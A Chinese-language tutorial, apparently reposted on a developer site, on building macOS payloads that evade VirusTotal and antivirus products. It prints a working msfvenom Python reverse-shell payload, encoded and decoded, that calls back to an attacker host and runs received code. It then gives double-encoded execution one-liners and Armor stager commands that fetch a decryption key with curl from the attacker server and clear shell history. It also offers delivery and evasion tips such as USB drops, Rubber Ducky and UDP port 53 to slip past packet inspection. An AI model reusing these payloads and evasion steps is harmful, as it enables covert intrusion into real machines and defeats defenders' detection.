如何创建无法检测的有效载荷

栏目: Python · 发布时间: 6年前

内容简介:在macOS中进行对有效载荷加密并对传输器(stager)进行编码,就可以创建无法检测的有效载荷。此外,使用一些简单的技巧,就可以很容易的躲过VirusTotal和macOS杀毒软件。本文的目标是找到一个已知且易于被检测到的macOS有效载荷,然后再通过一种方法,允许我们在目标MacBook上执行相同的有效载荷。通过这个测试,我们可以确认所创建的有效载荷在运行时是否可以成功绕过杀毒软件的检测。在本文的测试中,除了在VirusTotal测试我们所创建的恶意文件外,我们还在macOS Mojave(v10.1

如何创建无法检测的有效载荷

在macOS中进行对有效载荷加密并对传输器(stager)进行编码,就可以创建无法检测的有效载荷。此外,使用一些简单的技巧,就可以很容易的躲过VirusTotal和macOS杀毒软件。

本文的目标是找到一个已知且易于被检测到的macOS有效载荷,然后再通过一种方法,允许我们在目标MacBook上执行相同的有效载荷。通过这个测试,我们可以确认所创建的有效载荷在运行时是否可以成功绕过杀毒软件的检测。在本文的测试中,除了在VirusTotal测试我们所创建的恶意文件外,我们还在macOS Mojave(v10.14)中针对流行的杀毒软件(如Avast,AVG,BitDefender,Sophos和ClamXAV)进行了测试。

需要注意的是:这篇文章的目的不是教大家如何绕过GateKeeper或系统完整性保护(SIP),因为执行未签名的应用程序和绕过病毒扫描程序是两个不同的技术方向。本文的重点是教大家如何避免被杀毒软件和VirusTotal检测到。在接下来的分析中,你会发现,本文在大多数情况下,只需通过简单的编码有效载荷就足以绕过杀毒软件的检测。在此,你可以阅读 《如何在没有密码的情况下进行目标的Windows系统设备》

Base64编码的基础知识

通常情况下,通过编码的方式来绕过杀毒软件的检测,是一个很不可取的方式,因为这种方式很容易被解码和识别,隐蔽性不是很好。但是,对 Python 和Bash脚本进行编码是Empire和msfvenom等项目中的常见做法,以允许编码器执行复杂的脚本,而不必担心转义可能导致的有效载荷中断或出现无法识别的特殊字符。

现在让我们看看下面的字符串:

echo 'one' | base64
b25lCg==

echo 'one two' | base64
b25lIHR3bwo=

echo 'one two three' | base64
b25lIHR3byB0aHJlZQo=

echo 'one two three four' | base64
b25lIHR3byB0aHJlZSBmb3VyCg==

echo 'one two three four five' | base64
b25lIHR3byB0aHJlZSBmb3VyIGZpdmUK

使用下面的命令可以很容易的解码所有字符串(Kali中的-d, macOS中的-d):

base64 -d <<< 'b25lIHR3byB0aHJlZSBmb3VyIGZpdmUK'

请注意:字符串的开头总是一样的,而结尾会有细微的变化,其实大多数msfvenom有效载荷也是如此。如果仅更改IP地址和端口号,则每个黑客和测试者使用msfvenom生成的base64编码有效载荷的开头始终相同。下面是msfvenom使用IP地址“10.42.0.1”创建的示例。

aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjQyLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=

以下的msfvenom输出使用了和以上示例相同的有效载荷,但是IP地址不同,为“192.168.0.2”。

aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4yJyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==

无论使用什么IP和端口,在使用这个msfvenom有效载荷时,前142个字符始终相同。如果没有对恶意代码进行解码和分析,那么杀毒软件检测时常见的base64字符串至少看起来是合理的 ,而如果一旦解码和分析,这些看起来合理的字符串里就隐含了不少猫腻。在此,你可以阅读 《如何使用Jedi Mind Tricks的思维技巧破解WPA2 Wi-Fi密码》

对有效载荷的单次Base64编码

信不信由你,找到VirusTotal和杀毒软件可以检测到的恶意文件是一个挑战。在网上搜索了一些关于如何攻击macOS的流行文章之后,我才找到了一个简单的 msfvenom有效载荷 。执行其中的命令产生的输出以下:

msfvenom -p python/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=4444

[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
Payload size: 446 bytes
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjQyLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

这是一个经过base64编码的Python单行程序,其目的就是实现与Metasploit交互。将该行程序保存到名为“thisfileisevil.py”的文件,并将其上传到VirusTotal进行绕过检测,发现被检测到的概率仅为4/58。

如何创建无法检测的有效载荷

这就意味着,一般情况下,是没有杀毒软件能检测到该文件。而对嵌入的base64字符串进行解码,你可以清楚的看到,Python脚本旨在用于连接端口4444上的远程服务器(10.42.0.1)。

base64 -d <<< 'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjQyLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo='

import socket,struct,time
for x in range(10):
	try:
		s=socket.socket(2,socket.SOCK_STREAM)
		s.connect(('10.42.0.1',4444))
		break
	except:
		time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
	d+=s.recv(l-len(d))
exec(d,{'s':s})

将上面解码的Python代码保存到名为“thisfileisevil_without_encoding.py”的文件中并将其上传到VirusTotal,发现被检测到的概率仅为1/56。

如何创建无法检测的有效载荷

有趣的是,原始Python代码被检测到的概率更低。

不过目前,我们还不是很清楚VirusTotal和杀毒软件究竟在尝试检测什么。他们既没有很好的解码base64字符串,也没有标记msfvenom生成的13行Python代码,而这些代码多年来已经被不同的测试者和黑客使用了无数次了。在此,我建议你阅读 《如何自动对Nmap扫描进行暴力攻击》

对有效载荷的双重Base64编码

如果能够使用一个通用的Base64方式编码有效载荷,以绕过大多数杀毒软件,那么对它进行双重编码岂不是更有效,被检测到的概率岂不是更低。经过实际测试,并不是这样,在我们对编码后的msfvenom输出内容进行再次编码,并将其上传到VirusTotal,发现被检测到的概率仅为1/54。

如何创建无法检测的有效载荷

我们在微软的运行环境中,发现被检测到的概率仅为1/54,这对在macOS中创建无法检测的有效载荷是没有任何帮助的。因为这是通过对msfvenom输出进行再次编码实现的,与之前检测到的msfvenom载荷完全相同。

cat thisfileisevil.py | base64

aW1wb3J0IGJhc2U2NCxzeXM7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHsyOnN0ciwzOmxhbWJkYSBi
OmJ5dGVzKGIsJ1VURi04Jyl9W3N5cy52ZXJzaW9uX2luZm9bMF1dKCdhVzF3YjNKMElITnZZMnRs
ZEN4emRISjFZM1FzZEdsdFpRcG1iM0lnZUNCcGJpQnlZVzVuWlNneE1DazZDZ2wwY25rNkNna0pj
ejF6YjJOclpYUXVjMjlqYTJWMEtESXNjMjlqYTJWMExsTlBRMHRmVTFSU1JVRk5LUW9KQ1hNdVky
OXVibVZqZENnb0p6RXdMalF5TGpBdU1TY3NORFEwTkNrcENna0pZbkpsWVdzS0NXVjRZMlZ3ZERv
S0NRbDBhVzFsTG5Oc1pXVndLRFVwQ213OWMzUnlkV04wTG5WdWNHRmpheWduUGtrbkxITXVjbVZq
ZGlnMEtTbGJNRjBLWkQxekxuSmxZM1lvYkNrS2QyaHBiR1VnYkdWdUtHUXBQR3c2Q2dsa0t6MXpM
bkpsWTNZb2JDMXNaVzRvWkNrcENtVjRaV01vWkN4N0ozTW5Pbk45S1FvPScpKSkK

可以使用以下命令在目标MacBook中执行这个msfvenom载荷:

python -c "$(printf '%s' 'ENCODED-PAYLOAD-HERE' | base64 -D)"

此时,printf和base64正在使用MacBook去解码(-D)字符串并立即用Python执行命令(-c) ,其目的就是再次解码内部有效载荷并创建反向TCP连接。

不过,令我们惊讶的是,VirusTotal和流行的杀毒软件都无法检测到这种绕过方式,没有一个经过测试的杀毒软件能够以文本文件或AppleScript的形式检测到经过双重编码的有效载荷。在此,请你阅读 《如何使用Nmap脚本轻松检测CVE》

对有效载荷进行加密

如上所述,我们已经了解了经过单次编码和双重编码的有效载荷,将会绕过大多数杀毒软件的检测(尽管使用原始代码更好)。可见,脚本编码和有效载荷仍是杀毒软件的开发人员最疼头的问题。 但是,AVG或Avast的某些开发人员却声称他们的扫描程序已经开始通过递归解码base64字符串的方式,来寻找常见的编码签名。

这个说法反而让我们想到了一种绕过macOS杀毒软件的更可靠的方法,该方法更难以检测和预防。具体过程就是除了对有效载荷进行编码外,还会对其进行加密,使杀毒软件更难以对其进行解码检测。

为什么有效载荷编码后还要对其进行加密?

这是因为编码的主要缺点是杀毒软件能够连续解码base64字符串并轻松发现嵌入其中的有效载荷。无论攻击者编码其有效载荷多少次,杀毒软件都可以将其进行逆向分析。而通过加密有效载荷,杀毒软件将找到的只是一串不可读的数据。 另外,杀毒软件是无法扫描经过加密的有效载荷的,并且经过加密的有效载荷也不会被安全人员读取 ,除非他们知道了解密密钥。

这让我想起了 Armor ,Armor是一个简单的Bash脚本,旨在创建能够绕过杀毒扫描程序的加密macOS有效载荷。 

以下我会创建一个简单的 shell 脚本,用于说明如何自动加密macOS有效载荷并执行恶意攻击。

Armor脚本如何工作

Armor将加密它给出的任何文件的内容,该文件可以是一行代码,也可以是包含数百行代码的复杂Python脚本,或者是由macOS支持的任何编程语言编写的post-exploitation (后漏洞利用阶段)脚本。文件内容使用一次性密钥加密。然后,密钥临时托管在攻击者的服务器上,并由目标MacBook下载以解密有效载荷。

下面是Armor与简单的Netcat有效载荷一起使用的示例。

如何创建无法检测的有效载荷

至于其中的具体过程,我将在以下内容中按着步骤,每一步都给你讲清楚。不过大致过程是这样的:Netcat侦听器在端口4444上被启动,之后“payload.txt”文件被读取并显示为包含一个简单的Bash单行程序,当执行该程序时,攻击者就会在Netcat侦听器和目标MacBook之间创建TCP连接。Armor用于加密bash one-liner,Ncat负责托管攻击者在服务器上的解密密钥。当传输器在目标MacBook中执行时(没有在GIF中显示),bash one-liner将被解密和执行,此过程是无需将任何数据写入硬盘驱动器的。在使用密钥后,Ncat会立即终止侦听器。在建立Netcat连接后,攻击者就可以远程访问目标MacBook。在此,你可以阅读 《如何将Coinhive挖矿脚本注入Wi-Fi热点》

要了解有关脚本正在执行的操作,以及它们是如何在不将数据写入目标硬盘的情况下执行命令,请转到这个 GitHub页面详细了解 。如果有读者对Armor感兴趣,并希望进行快速测试,可以按照以下步骤进行操作。

第1步:安装Armor

可以在这个GitHub上找到 Armor ,并使用下面的命令进行复制。

git clone https://github.com/tokyoneon/Armor

Cloning into 'Armor'...
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 7 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (7/7), done.

将(cd)更改为新创建的Armor或目录。

cd Armor/

然后,赋予armor.sh脚本执行权限。

chmod +x armor.sh

第2步:创建有效载荷

在以上的示例GIF中,Bash one-liner可以用于创建TCP连接,但需要我们通过加密一个简单的ls命令来简化攻击过程。

使用以下命令创建payload.txt文件。

echo 'ls -la' >/tmp/payload.txt

第3步:使用Armor加密有效载荷

现在,使用Armor里的以下命令加密payload.txt内容。

./armor.sh /tmp/payload.txt 1.2.3.4 443

                                    ..,co8oc.oo8888cc,..
	    o8o.                ..,o889689ooo888o"88888888oooc..
	  .8888               .o88886888".88888888o'?888888888889ooo....
	  a88P            ..c688869""..,"o888888888o.?8888888888"".ooo8888oo.
	  088P         ..atc8889"".,oo8o.86888888888o 88988889",o888888888888.
	  888t  ...coo688889"'.ooo88o88b.'86988988889 8688888'o8888896989^888o
	   888888888888"..ooo88896888888   "9o688888' "888988 8888868888'o88888
           ""G8889""'ooo88888888888889   .d8o9889""'   "8688o."88888988"o888888o .
		    o8888'"""""""""'     o8688"          88868. 888888.68988888"o8o.
		    88888o.              "8888ooo.        '8888. 88888.8898888o"888o..
	           "8888l '               "888888'          '""8o"8888.8869888oo8888o
     .;.      .;;;;;,.     ,'       ,,     .,;,'      ;;;;;,.  :."8888 "888888888^88o
     OM0      xWl::coK0.  .WM,     ;MW   ,KOlccxXd   'Mk::clkXc ..8888,. "88888888888.
    .WXM.     xW      K0  .WMK     KMW   Nk     ;M:  'M:     lM':o888.o8o.  "866o9888o
    lN.Xo     xW      OK  .WKWc   lWKW  .Wd     .Ml  'M:     ;M,:888.o8888.  "88."89".
    0k dX     xW      OK  .WodX. .NodW  .Wd     .Ml  'M:     ;M, 89  888888    "88":.
   'M; 'M,    xW      KO  .Wo.No dX dW  .Wd     .Ml  'M:     oM.     '8888o
   oN   Kx    xW.cccoKO.  .Wo cWlW: dW  .Wd     .Ml  'Mc;cclkXc       "8888..
   Xd   oN.   xW xWc'.    .Wo  KM0  dW  .Wd     .Ml  'M:,WO'.          888888o.
  ;Mc...:Mc   xW  0K.     .Wo  ,W'  dW  .Wd     .Ml  'M: cW:            "888889,
  OXlllllKK   xW  .KO     .Wo   '   dW  .Wd     .Ml  'M:  oN'       . : :.::::.: :.
 .Mo     cM,  xW   .Xd    .Wo       dW  .Wd     .Ml  'M:   dX.   created by @tokyoneon_
 oW.     .Wd  xW    'W:   .Wo       dW   XO     :M;  'M:    0O
 KO       xN  xW     :N,  .Wo       dW   .O0xodO0c   'M:    .Xk

 [+]  Generated encryption key: /root/Armor/payload.txt_5c6c.key
 [+]  Encrypted payload: /root/Armor/payload.txt_5c6c.enc
 [+]  Generated SSL certificate: /root/Armor/payload.txt_5c6c.crt
 [+]  Generated SSL key: /root/Armor/payload.txt_5c6c_ssl.key
 [+]  Saved stager: /root/Armor/payload.txt_5c6c_stager.txt

 [!] Execute in the target MacBook:

bash -c "$(bash -c "$(printf '%s' 'YjAxMjMyZTU2ZTFhNDAxMDFlY2FlNjlkPi9kZXYvbnVsbCAyPiYxOyBvcGVuc3NsIGVuYyAtZCAt
YWVzLTI1Ni1jYmMgCS1pbiA8KHByaW50ZiAnJXMnICdVMkZzZEdWa1gxL29jU0tsUkdIRmZncmd1
YjlLV3JJdFlORldvNGplMzVFZTVXbTNUVytpWnA1RlVLc1o2NXBjdGt6bkdyK0gxUUo5eUtrYk8v
MXhTUT09JyB8IGJhc2U2NCAtRCkgCS1wYXNzIGZpbGU6PChjdXJsIC1zIC0taW5zZWN1cmUgaHR0
cHM6Ly8weDBBMkEwMDAxOjQ0Myk=' | base64 -D)")";history -c

 [!] Start the Ncat listener now? y/N

 [!] Start Ncat listener:

很明显,1.2.3.4地址是攻击者使用的IP地址,其中解密密钥将被托管在该地址上。这可以是本地IP(例如,“192.168.1.2”),也可以是虚拟专用服务器地址。Ncat服务器将使用此地址和端口号(443)来托管解密密钥,端口443可以是攻击者的Kali Linux系统中的任何可用端口。

如果在Kali中找不到LibreSSL(macOS使用的OpenSSL版本),Armor将尝试自行安装它。不幸的是,在Kali / Debian中找到的OpenSSL版本与macOS的LibreSSL不兼容。这意味着,Armor将尝试自行安装。

第4步:启动Ncat侦听器

在执行stager之前, Ncat侦听器会被启动,Armor会尝试自动启动它。在此,你可以阅读 《如何绕过Mojave提升权限的prompt方法》

[+]  Ncat active for stager: payload.txt_e856...
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443

第5步:执行传输器

此时,Armor将生成一个用于目标MacBook的加密和编码命令。这个传输器可以嵌入到执行 USB drop攻击 中,用于USB Rubber Ducky(USB橡皮鸭)攻击,或者其他社会工程攻击。USB橡皮鸭是一个类似U盘的的小设备,它有代码注入、运行程序和窃取系统中数据的能力。

USB橡皮鸭通过模拟USB HID设备攻击你的系统,即HID模拟攻击。这个小玩意一旦插入你的计算机,就会自动打开Termanel/PowerShell,执行预定义的攻击操作。现在,我们只需将传输器复制并粘贴到MacBook终端即可。

执行传输器时,MacBook终端将以long(-l)格式列出 (ls)当前目录中的所有(-a)文件。

如何创建无法检测的有效载荷

此时,我们已经加密了一个简单的ls命令,但不妨再想象一下,是否有将相同程度的混淆应用于旨在执行各种高级攻击的复杂Python脚本上的可能性。目前杀毒软件还不可能解码base64字符串,即使base64字符串被解码了,也无法读取嵌入和加密的有效载荷。

如何确保有效载荷不被检测到

要知道,Armor的设计并不完美,它只是一个概念验证,有兴趣的读者是可以找到许多改进方法的。例如,作为LibreSSL(LibreSSL是OpenSSL加密软件库的一个分支,为一个安全套接层(SSL)和传输层安全(TLS)协议的开源实现。)的替代品,由于大多数Debian和Kali的发行版在默认情况下都没有安装它,因此对有效载荷进行加密时,就有点不方便。

还有就是,将解密密钥托管在攻击者的服务器上是危险的。如果安全人可以在传输器中发现攻击者的IP地址,则可以枚举密钥的文件名并下载它。安全人可以使用此密钥,将目标设备上加密的有效载荷进行反向工程,并了解攻击者在MacBook上执行了哪种漏洞利用。

我们还发现,在端口53上使用UDP来传输解密密钥,更有可能绕过防火墙和深度数据包检测(Deep packet inspection,缩写为 DPI)的检测,使有效载荷更加隐蔽。深度数据包检测(Deep packet inspection,缩写为 DPI)是一种特殊的网络技术,一般网络设备只会查看以太网头部、IP头部而不会分析TCP/UDP里面的内容这种被称为浅数据包检测;与之对应的DPI会检查TCP/UDP里面的内容,所以称为深度数据包检测。

此外,找到一种加密不依赖于连接到互联网的目标(下载解密密钥)的有效载荷的方法将是最有效的。在此,你可以阅读 《如何创建无法检测的Windows 10有效载荷》

总结

在针对VirusToal和至少六种流行的杀毒软件进行测试后,没有人能够检测到双重编码的有效载荷。而macOS杀毒扫描程序,几乎连单次Base64编码的有效载荷都完全无法识别。而检测Armor创建的载荷对于今天的macOS杀毒扫描程序来说将更具挑战性。

此外,macOS过分依赖GateKeeper来防止恶意应用程序。如前一篇文章所示,GateKeeper保护不适用于插入MacBook的USB,因此可以通过社会工程的方式执行恶意文件攻击。为了积极应对此类攻击,请查看 《如何免受macOS攻击》 以及 《如何用自毁载荷攻击Mojave》


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

代码之外的功夫

代码之外的功夫

[美] Gregory T. Brown / 李志 / 人民邮电出版社 / 2018-3-1 / 49.00元

本书虽然面向程序员,却不包含代码。在作者看来,90%的程序设计工作都不需要写代码;程序员不只是编程专家,其核心竞争力是利用代码这一工具解决人类社会的常见问题。以此作为出发点,作者精心构思了8个故事,以情景代入的方式邀请读者思考代码之外的关键问题:软件开发工作如何从以技术为中心转为以人为本?透过故事主人公的视角,读者能比较自己与书中角色的差异,发现决策过程的瑕疵,提升解决问题的综合能力。 书中......一起来看看 《代码之外的功夫》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具